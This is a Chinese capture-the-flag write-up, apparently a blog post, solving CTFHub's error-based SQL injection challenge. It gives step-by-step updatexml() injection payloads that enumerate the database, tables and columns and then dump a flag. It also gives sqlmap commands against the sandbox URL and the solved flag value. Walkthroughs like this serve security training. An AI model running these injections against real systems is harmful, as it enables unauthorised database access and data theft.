CTFHUB技能树之SQL——报错注入

开启靶场,打开链接:

输入1:

没有回显出相关信息,初步判断是报错注入、时间盲注或布尔盲注


输入1':

显示出'1''和报错信息,说明没有闭合情况,是报错注入且是整数型注入


输入:

1 and updatexml(1,0x7e,3) -- a

正常显示报错信息,确定报错函数updatexml()可以使用


(1)爆数据库名

1 and updatexml(1,concat('~',database(),'~'),1) -- a

说明数据库名是sqli


(2)爆表名

1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'sqli' ),'~'),1) -- a

得到表名是news和flag,其中flag表是我们要找的


(3)爆列名

1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = 'sqli' and table_name = 'flag'),'~'),1) -- a

得到列名是flag


(4)爆字段内容(flag)

1 and updatexml(1,concat('~',(select concat(flag) from flag limit 0,1),'~'),1) -- a

得到flag:

ctfhub{d49fefe662a37b6387cad068}


接下来用sqlmap爆破一下:

python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables


python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump

一样成功得到flag

相关推荐
l1t16 小时前
修改一个触发PostgreSQL 17.2 bug的SQL
sql·postgresql·bug
运维行者_16 小时前
不同规模企业如何选 OPM?参考局域网管理软件与 cpu 温度监控适配指南
大数据·运维·服务器·网络·数据库·postgresql·snmp
冰冰菜的扣jio16 小时前
MySQL高性能优化合集
数据库·mysql
weixin_4046793116 小时前
vscode 配置cpp调试环境
数据库·ide·vscode·编辑器
TG:@yunlaoda360 云老大16 小时前
华为云国际站代理商GaussDB主要有什么作用呢?
服务器·数据库·华为云·gaussdb
岁岁的O泡奶16 小时前
NSSCTF_crypto_[SWPU 2020]happy
经验分享·python·算法·密码学
代码游侠16 小时前
应用——UDP Socket 编程笔记
linux·运维·网络·笔记·网络协议·学习·udp
ohoy16 小时前
业务数据聚合分析 xxl-job定时任务
数据库·oracle
EchoL、17 小时前
【论文阅读】SteganoGAN:High Capacity Image Steganography with GANs
论文阅读·人工智能·笔记·算法
YJlio17 小时前
Windows Sysinternals 文件工具学习笔记(12.10):PendMoves + MoveFile 实战——重启后文件替换的安全姿势
windows·笔记·学习